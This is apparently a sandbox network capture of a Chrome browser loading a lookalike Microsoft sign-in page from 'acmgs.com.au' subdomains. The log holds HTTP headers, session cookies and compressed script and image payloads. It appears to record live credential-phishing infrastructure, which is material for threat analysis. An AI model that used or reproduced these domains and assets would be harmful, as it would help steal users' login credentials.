2024-12-20 19:31:45 UTC	876	OUT	GET /e455dbd6308045dea743f49e92cf3388/ HTTP/1.1 Host: 0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=babf8dd5-6ef2-4698-b5ef-479010a34193; brcap=0 Sec-WebSocket-Key: ZsrViyIgMcrLTVJBqthrSg== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-12-20 19:31:45 UTC	739	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 20 Dec 2024 19:31:45 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 536cb2fa-d4df-461a-8104-e39de1414103 x-ms-ests-server: 2.1.19683.3 - WEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://85089a4f-e455dbd6.acmgs.com.au/api/report?catId=GW+estsfd+SEC"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-12-20 19:31:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.8	49756	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:45 UTC	779	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_ppassword_b6632c4da67c72da7b92.js HTTP/1.1 Host: 881a0950-e455dbd6.acmgs.com.au Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
2024-12-20 19:31:46 UTC	805	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 19:31:46 GMT Content-Type: application/x-javascript Content-Length: 7406 Connection: close cache-control: public, max-age=31536000 last-modified: Fri, 15 Nov 2024 18:42:37 GMT etag: 0x8DD05A5473D4300 x-ms-request-id: a973e2b2-301e-0068-237e-50d279000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241220T193146Z-16fbf75468c6z57khC1FRAc69s0000000ad0000000008aub x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-20 19:31:46 UTC	7406	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 5d 6d 77 db 36 b2 fe be bf 82 d6 ee 71 c8 2d cc d8 49 9b b6 74 59 1f bf c6 6a 1c 5b 6b 29 c9 b6 49 8e 0e 45 42 12 63 8a 60 49 c8 b2 6a eb bf ef 0c c0 77 82 b6 9c a4 7b 7b ef b9 ea a9 25 82 c0 60 30 98 19 3c 33 00 99 a7 ff dc f8 9b f6 4f 6d 6b fd 8f d6 1f ec 5f 0e b4 8b 13 6d 70 da bd 3c d2 7a 70 f5 ab 76 7e 31 e8 1e 1e af 4f 07 3b c5 ff 07 53 3f d1 c6 7e 40 35 f8 1e 39 09 f5 34 16 6a 2c d6 fc d0 65 71 c4 62 87 d3 44 9b c1 df d8 77 02 6d 1c b3 99 c6 a7 54 8b 62 f6 89 ba 3c d1 02 3f e1 d0 68 44 03 b6 d0 74 20 17 7b 5a cf 89 f9 52 eb f6 0c 13 e8 53 a0 e6 4f fc 10 5a bb 2c 5a c2 ef 29 d7 42 c6 7d 97 6a 4e e8 09 6a 01 5c 84 09 d5 e6 a1 47 63 6d 31 f5 dd a9 f6 da 77 63 96 b0 31 d7 62 ea 52 ff 1a 3a 49 e6 50 5e ed 82 68 4e 4c b5 Data Ascii: ]mw6q-ItYj[k)IEBc`Ijw{{%`0<3Omk_mp<zpv~1O;S?~@594j,eqbDwmTb<?hDt {ZRSOZ,Z)B}jNj\Gcm1wc1bR:IP^hNL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	49757	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:45 UTC	565	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_27cef08ca792f8e8b149.js HTTP/1.1 Host: 881a0950-e455dbd6.acmgs.com.au Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
2024-12-20 19:31:46 UTC	807	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 19:31:46 GMT Content-Type: application/x-javascript Content-Length: 116399 Connection: close cache-control: public, max-age=31536000 last-modified: Fri, 15 Nov 2024 18:42:37 GMT etag: 0x8DD05A546E5C15E x-ms-request-id: b6127344-001e-0047-377e-5097a0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241220T193146Z-16fbf75468cgcnxmhC1FRAtpkg0000000a3000000000ymgx x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-20 19:31:46 UTC	13653	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ec bd 6b 7b da 48 b6 28 fc 7d ff 0a d0 ee a1 a5 a6 8c 11 c6 d8 11 96 19 27 71 7a 3c 93 c4 3e b6 33 3d 3d 0e 93 47 86 c2 28 01 89 91 84 2f 6d d8 bf fd 5d 6b 55 95 54 12 c2 c6 e9 de e7 7c 78 a7 9f 8e d1 a5 54 f7 5a f7 cb f6 4f d5 ff aa fc 54 d9 da fc bf ca c5 e5 d1 f9 65 e5 f4 5d e5 f2 2f 27 e7 6f 2b 67 70 f7 6b e5 e3 e9 e5 c9 9b e3 cd eb c1 46 f1 df e5 d8 8f 2b 23 7f c2 2b f0 7b ed c5 7c 58 09 83 4a 18 55 fc 60 10 46 b3 30 f2 12 1e 57 a6 f0 37 f2 bd 49 65 14 85 d3 4a 32 e6 95 59 14 7e e5 83 24 ae 4c fc 38 81 8f ae f9 24 bc ab 98 50 5d 34 ac 9c 79 51 f2 50 39 39 b3 1a 50 3f 87 da fc 1b 3f 80 af 07 e1 ec 01 ae c7 49 25 08 13 7f c0 2b 5e 30 a4 da 26 70 13 c4 bc 32 0f 86 3c aa dc 8d fd c1 b8 f2 c1 1f 44 61 1c 8e 92 4a c4 07 dc bf Data Ascii: k{H(}'qz<>3==G(/m]kUT\|xTZOTe]/'o+gpkF+#+{\|XJU`F0W7IeJ2Y~$L8$P]4yQP99P??I%+^0&p2<DaJ
2024-12-20 19:31:46 UTC	16384	IN	Data Raw: 00 80 8e 61 fb 6e 97 b9 2c 3d 8f 6f 4e 3f 5e 5c 9e 7f 7a 73 79 7a ee dc b0 f3 e3 bf 1e bf b9 3c 39 fd f8 e5 f8 ef c7 1f 2f 9d 5b 76 f1 e9 f5 9b f7 47 17 17 27 1f 7f 76 1e 5e 12 88 af 90 68 56 45 77 dd db 23 e5 ab 50 63 3c 93 d3 2d 13 22 03 0f 74 13 a7 12 e4 7c f4 5b 83 5e a2 dc 66 2e c1 a1 78 80 fa 42 4c fb 9a a0 34 2e 40 e3 ec 8d 11 4b 96 c9 67 3f 17 02 18 b3 32 09 65 82 41 41 e3 d2 08 ff a5 26 cd 58 e4 e5 33 96 46 05 4c d5 d5 68 51 22 92 6f 50 50 c0 e7 53 e4 28 e6 10 95 d0 b8 9f 50 de a9 8c ca 91 00 4d b4 d8 32 d2 df 7f 80 aa 42 94 fa 52 ee 34 b1 3a 24 18 d6 50 0e 46 45 a4 4f 73 51 f4 44 d9 ff c6 b6 64 c4 a0 0a ca e7 03 e2 69 13 54 a1 55 22 3e e0 70 74 22 e3 d9 05 48 e5 3c ff 7f 09 1b f7 7f 2d 50 4c 7e 87 e8 72 ca 35 ee 64 59 94 89 ef 0d 0d f2 1d 41 41 Data Ascii: an,=oN?^\zsyz<9/[vG'v^hVEw#Pc<-"t\|[^f.xBL4.@Kg?2eAA&X3FLhQ"oPPS(PM2BR4:$PFEOsQDdiTU">pt"H<-PL~r5dYAA
2024-12-20 19:31:47 UTC	16384	IN	Data Raw: 24 3e f6 ec c9 3a 7a 62 e4 d9 6f 48 94 14 1f 28 10 7a bd fd 9d 34 83 7a 42 73 84 89 c6 c4 d3 16 93 9e 10 eb aa 15 c6 ee 30 2c 51 50 cc e1 c7 63 00 d1 58 b0 de b6 e1 c2 78 98 9c 01 97 9c c3 45 47 66 99 60 c9 e9 1c db c6 a2 11 a5 57 85 43 0e 70 60 db bb a4 a4 a0 67 51 17 4e 26 1f 59 39 ac 5d 1c 23 1f 4a 8c 5d 44 57 78 10 28 df 42 82 73 ae e1 6c 80 33 7a 78 e0 5f 7a 78 68 f1 72 0c 6d ae 15 41 8f bf 04 8f 60 fc 91 35 da 26 d8 49 6b 25 d4 8f ce 05 52 25 27 bc 70 34 e0 cd 12 43 76 0c be 6c 83 37 67 8b 22 f5 a3 83 96 95 2e ac 11 91 32 ca 78 13 8b 61 28 1d 38 72 8a fb 9f cd c2 be 34 fb 19 c4 2e 50 c3 d6 36 6a 51 53 79 b1 65 aa 51 e3 27 aa 51 f3 da fd 36 af 5f 44 9d 07 af 3c 95 98 f7 33 9e 99 27 46 49 2b 47 4d 02 b7 34 e6 32 0f 60 2e b9 f5 98 04 b7 0a 7b 9b 7f 19 Data Ascii: $>:zboH(z4zBs0,QPcXxEGf`WCp`gQN&Y9]#J]DWx(Bsl3zx_zxhrmA`5&Ik%R%'p4Cvl7g".2xa(8r4.P6jQSyeQ'Q6_D<3'FI+GM42`.{
2024-12-20 19:31:47 UTC	16384	IN	Data Raw: 0c 68 2f 50 81 5a 99 82 63 bc ea c8 e9 58 c8 63 34 c0 98 5a 72 c5 37 ea 92 35 f5 47 96 07 bf 94 11 b6 85 76 8f 66 89 94 7a 0f cf c3 92 56 66 93 1f 9e fb 52 25 bf bf 2d aa e2 ee e1 9e 99 04 a8 94 42 7d 0c 48 ca c3 e3 09 9c f4 40 88 93 a6 31 5a 38 4e 93 e6 8b b0 08 7f 8c a3 1b 38 52 93 a6 02 1e 1c a8 ea 0c b8 0e c6 06 cc 2e 83 a9 71 75 05 f0 b8 16 68 c0 2e 80 e3 ba 66 4e 16 e5 f1 2f a8 9b 90 30 65 37 fc c1 55 78 fb 7c 0e e0 c0 a1 a4 ee 25 3a 4c bf 4a 0a 38 7c ce e9 32 17 97 c6 22 ba 70 88 0c 50 9f 56 a7 80 65 98 21 b2 40 58 45 96 d4 92 fa 78 52 c0 14 56 2f e0 08 ba 10 7e 93 a5 bd 86 43 7b 0d e3 1c f5 f9 58 b2 61 c8 e3 25 46 e4 6d 80 45 c5 ef 8b 2c 4c 72 68 e4 f7 8a 3e 26 15 44 8f 5d 8c cd 7a 78 b8 36 0b 7f a2 01 fc 90 9e ac f2 47 49 40 1a 68 16 1b 69 05 2f Data Ascii: h/PZcXc4Zr75GvfzVfR%-B}H@1Z8N8R.quh.fN/0e7Ux\|%:LJ8\|2"pPVe!@XExRV/~C{Xa%FmE,Lrh>&D]zx6GI@hi/
2024-12-20 19:31:47 UTC	16384	IN	Data Raw: f0 2e 38 ab 46 b1 4b 5e d6 7c 21 6e c2 84 12 b9 53 95 cd 11 6a cb 5d bc 62 2d 3c 27 87 25 60 ad 6e aa a0 ce f5 79 47 bb 14 73 58 c4 9f 5d 59 a5 26 eb c2 32 f5 5f 10 58 db 45 05 92 00 98 97 cf 52 db dd 57 f4 68 61 89 63 a8 36 0b f4 a7 2a b5 0c 55 65 a8 17 e6 df 4e df bc 36 14 28 18 ab 67 d3 69 53 ec bd 79 ec 66 18 86 3c f7 e0 d4 99 5f 94 78 36 7e 28 dc 41 39 40 bd da 49 44 09 b8 90 71 53 44 0c 62 58 f2 64 0b 2b 37 7d 19 3f 99 9a 9f 2c ec ca 74 20 7f e3 66 2d c1 82 79 09 54 21 b3 58 2d a3 4c 28 b4 4a f1 a0 a0 9a ed c4 9f da 04 78 89 ba 7f f4 2c 13 8e f1 af 7c 23 e5 6e df e4 01 b5 bd 4d 39 75 04 fb a2 e3 82 20 5c 84 b8 c2 74 be 10 51 6e 10 cb 97 6f 4c bb 6e ec b0 f9 7d 11 ff 40 65 b9 35 39 2b e0 a7 32 2a 73 b3 df 82 b3 ba 71 6f 4c db eb 9b 07 33 5a 35 c6 8a Data Ascii: .8FK^\|!nSj]b-<'%`nyGsX]Y&2_XERWhac6UeN6(giSyf<_x6~(A9@IDqSDbXd+7}?,t f-yT!X-L(Jx,\|#nM9u \tQnoLn}@e59+2sqoL3Z5
2024-12-20 19:31:47 UTC	16384	IN	Data Raw: 86 bf 40 27 f4 ed 41 6b bf cf 82 b1 35 85 df 25 7b e0 b0 dc fa 0d 3e f9 4e 07 4c 09 43 4a cd e0 1b 9d 4f 1a b4 1f 02 98 c2 10 e2 93 07 80 21 4c 35 0b cd 01 9d c7 17 42 1d 29 39 fa c3 d9 03 cf 9c e9 2c 6d be 88 cf ca 38 60 e5 03 9c 90 c8 f8 80 e8 b7 05 1f e2 51 ae 5a 69 2c 18 2b 5d d4 8d 31 c5 f8 ce 80 fa a7 14 e9 03 96 2b 6d e1 d4 8a c2 74 89 63 07 50 1d 57 eb f2 ab 2b 6b bd 12 ab 03 13 3a 0c 37 ec ed 92 88 02 a5 11 f4 b2 0e 5a 13 7c ff 93 0e 14 1d 42 6f 4c 8e 7d 81 3d 49 d3 b4 11 ed 5c 47 e6 8b b2 36 20 b7 43 b4 73 ad 24 68 67 20 24 d1 51 c6 ee c3 48 34 24 a3 29 5e b8 62 ff b7 86 5a e3 d4 ad 5c 7a 8c b2 54 05 84 98 ee e9 36 2f 27 87 06 57 b5 55 30 00 a1 3a f4 58 44 95 87 5a 36 06 c8 e0 2f 24 51 e5 31 9c 90 ba 2c 11 d0 29 5b 33 0a c8 ea 38 92 e4 0f 24 39 Data Ascii: @'Ak5%{>NLCJO!L5B)9,m8`QZi,+]1+mtcPW+k:7Z\|BoL}=I\G6 Cs$hg $QH4$)^bZ\zT6/'WU0:XDZ6/$Q1,)[38$9
2024-12-20 19:31:47 UTC	16384	IN	Data Raw: d5 de 02 0d 37 d3 e1 fb d7 dd 2f 3d 34 78 44 42 e3 ab 7e af 4f f4 5b 0e 58 30 bf d2 b8 11 13 7d bd 41 6c f0 c9 2c b7 3f 1d df ca 16 3f 41 8b a7 fa 1b a6 9f 99 b7 dd 4f bd d4 39 d8 39 6b 09 e5 ea 99 98 ae 57 e6 ad 30 20 c4 d9 1e f0 45 78 09 64 57 f7 63 8f bd 61 17 30 0d ed 57 e9 ac 1a a7 fa 4b f6 0a 49 52 80 08 c4 2a 31 f5 f5 52 f8 0f ec bd 35 47 fa 47 58 c2 0b 68 e1 15 2e e4 c5 89 89 31 0f df e7 cd 73 98 a8 0f 70 30 e6 df c2 6c 5c e4 3f ca d1 c8 43 f7 7d 9e 6a 18 c8 5e 30 b4 1d 5a a7 2b 61 6b c4 8e e8 6b 66 3a bc 4a b7 97 d4 10 e6 91 0f 56 4b 6b 68 4b 16 2e 19 fc a2 a0 34 d9 87 21 42 a0 75 a2 89 8c 61 b7 8b c5 f5 f7 f8 ca 54 57 25 1e b1 d1 51 43 6a 22 9b a5 55 d6 e6 48 da e7 63 3b 33 89 a3 06 92 5b 99 4b 4e e4 0e 36 b0 82 a7 46 0a 17 31 5d c1 40 37 2b 06 Data Ascii: 7/=4xDB~O[X0}Al,??AO99kW0 ExdWca0WKIR*1R5GGXh.1sp0l\?C}j^0Z+akkf:JVKkhK.4!BuaTW%QCj"UHc;3[KN6F1]@7+
2024-12-20 19:31:47 UTC	4442	IN	Data Raw: 71 dd 39 10 82 67 48 eb b7 01 d4 54 b1 1a 7f 00 77 51 4f 2b f9 9c db 5b 98 06 bc b6 42 f7 0e 50 19 9c c3 25 cf 91 0a 96 a4 b4 d3 52 29 15 68 9b 4c 3d 30 9b 02 96 df 64 5e e2 c6 55 32 c5 3d 45 b1 f5 6f 90 db 40 74 ea 89 a7 8e bc 5c 1b c4 8d c6 31 4c 5c 59 1f 9a 96 03 18 5a 0f 18 81 87 12 f9 3c 05 7f 32 81 8f 93 83 8b 59 c7 d5 ac 77 f4 ac 98 33 a2 b9 b7 85 5b 61 e1 c2 28 c3 d6 06 6a 30 73 38 4f 78 af 52 9c 98 80 1d d5 d0 cc 98 6c 10 7a ca 66 35 61 df e4 b8 10 4c 1a ec 97 c9 68 05 82 2c c9 60 db 2e d0 79 7c 0c 34 54 98 a1 81 2a d6 46 ca 36 2d 78 05 d6 31 03 04 83 b8 8c fa 24 d4 62 86 74 ad 44 8b e8 52 e8 e4 21 82 71 8d 17 53 44 8d 43 bc c2 17 97 15 73 3c 6d 2e 60 3c 66 49 ec 79 13 df db 7c a7 c9 66 a8 bc 67 63 c6 62 f2 98 c5 50 1e 32 00 f7 73 16 89 04 a8 54 Data Ascii: q9gHTwQO+[BP%R)hL=0d^U2=Eo@t\1L\YZ<2Yw3[a(j0s8OxRlzf5aLh,`.y\|4T*F6-x1$btDR!qSDCs<m.`<fIy\|fgcbP2sT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.8	49754	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:45 UTC	840	OUT	GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1 Host: 881a0950-e455dbd6.acmgs.com.au Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
2024-12-20 19:31:46 UTC	755	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 19:31:46 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:47 GMT etag: 0x8DB5C3F48EC4154 x-ms-request-id: d6c11568-001e-004c-607e-5024d9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241220T193146Z-16fbf75468c6mjpqhC1FRAkva00000000adg0000000062uy x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes
2024-12-20 19:31:46 UTC	2679	IN	Data Raw: 61 37 30 0d 0a 47 49 46 38 39 61 60 01 03 00 f0 00 00 ff ff ff 96 96 96 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 06 00 00 00 30 00 03 00 00 02 1a 8c 01 16 88 ca ec 1e 3c f2 a9 18 1b b5 5b e6 9a 5c 4b 38 6a e5 74 72 a9 67 14 00 21 f9 04 09 03 00 00 00 2c 07 00 00 00 33 00 03 00 00 02 1a 8c 81 16 c8 ca ef 5e 3b 12 2a 0a e2 5c 55 4b df 5d 5c 86 25 e5 56 99 63 aa 14 00 21 f9 04 09 05 00 00 00 2c 0a 00 00 00 37 00 03 00 00 02 1a 8c 81 60 91 b9 ed 0e 6c 6f c6 c5 ee ac 90 5b bf 61 19 02 2a 52 77 7e Data Ascii: a70GIF89a`!NETSCAPE2.0!,`6PlHI:qJk`BYL&!,0<[\K8jtrg!,3^;\UK]\%Vc!,7`lo[a*Rw~
2024-12-20 19:31:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.8	49755	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:45 UTC	834	OUT	GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1 Host: 881a0950-e455dbd6.acmgs.com.au Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
2024-12-20 19:31:46 UTC	755	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 19:31:46 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:48 GMT etag: 0x8DB5C3F4904824B x-ms-request-id: e205a26b-701e-0062-797e-503edc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241220T193146Z-1777998d8f9wzxbshC1DUSpfbg000000094g00000000vspf x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes
2024-12-20 19:31:46 UTC	3627	IN	Data Raw: 65 32 34 0d 0a 47 49 46 38 39 61 60 01 03 00 f0 00 00 00 00 00 69 69 69 21 f9 04 09 05 00 00 00 21 fe 26 45 64 69 74 65 64 20 77 69 74 68 20 65 7a 67 69 66 2e 63 6f 6d 20 6f 6e 6c 69 6e 65 20 47 49 46 20 6d 61 6b 65 72 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 1f 69 19 07 ec 96 8a b2 51 34 af de bc fb 0f 86 e2 48 96 e6 89 a6 6a 0a 3d 99 6b 39 2d 35 5f f5 8a e7 fa ce f7 fe 0f 8c b4 6a 37 98 a6 28 7b 05 97 cc a6 f3 09 d5 15 00 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 Data Ascii: e24GIF89a`iii!!&Edited with ezgif.com online GIF maker!NETSCAPE2.0,`6PlHI:qJk`BYL*&!,`9iQ4Hj=k9-5_j7({!,`
2024-12-20 19:31:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.8	49759	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:47 UTC	554	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_ppassword_b6632c4da67c72da7b92.js HTTP/1.1 Host: 881a0950-e455dbd6.acmgs.com.au Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
2024-12-20 19:31:48 UTC	805	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 19:31:48 GMT Content-Type: application/x-javascript Content-Length: 7406 Connection: close cache-control: public, max-age=31536000 last-modified: Fri, 15 Nov 2024 18:42:37 GMT etag: 0x8DD05A5473D4300 x-ms-request-id: a973e2b2-301e-0068-237e-50d279000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241220T193148Z-16fbf75468clmvxzhC1FRA2w6000000009yg0000000056sy x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-20 19:31:48 UTC	7406	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 5d 6d 77 db 36 b2 fe be bf 82 d6 ee 71 c8 2d cc d8 49 9b b6 74 59 1f bf c6 6a 1c 5b 6b 29 c9 b6 49 8e 0e 45 42 12 63 8a 60 49 c8 b2 6a eb bf ef 0c c0 77 82 b6 9c a4 7b 7b ef b9 ea a9 25 82 c0 60 30 98 19 3c 33 00 99 a7 ff dc f8 9b f6 4f 6d 6b fd 8f d6 1f ec 5f 0e b4 8b 13 6d 70 da bd 3c d2 7a 70 f5 ab 76 7e 31 e8 1e 1e af 4f 07 3b c5 ff 07 53 3f d1 c6 7e 40 35 f8 1e 39 09 f5 34 16 6a 2c d6 fc d0 65 71 c4 62 87 d3 44 9b c1 df d8 77 02 6d 1c b3 99 c6 a7 54 8b 62 f6 89 ba 3c d1 02 3f e1 d0 68 44 03 b6 d0 74 20 17 7b 5a cf 89 f9 52 eb f6 0c 13 e8 53 a0 e6 4f fc 10 5a bb 2c 5a c2 ef 29 d7 42 c6 7d 97 6a 4e e8 09 6a 01 5c 84 09 d5 e6 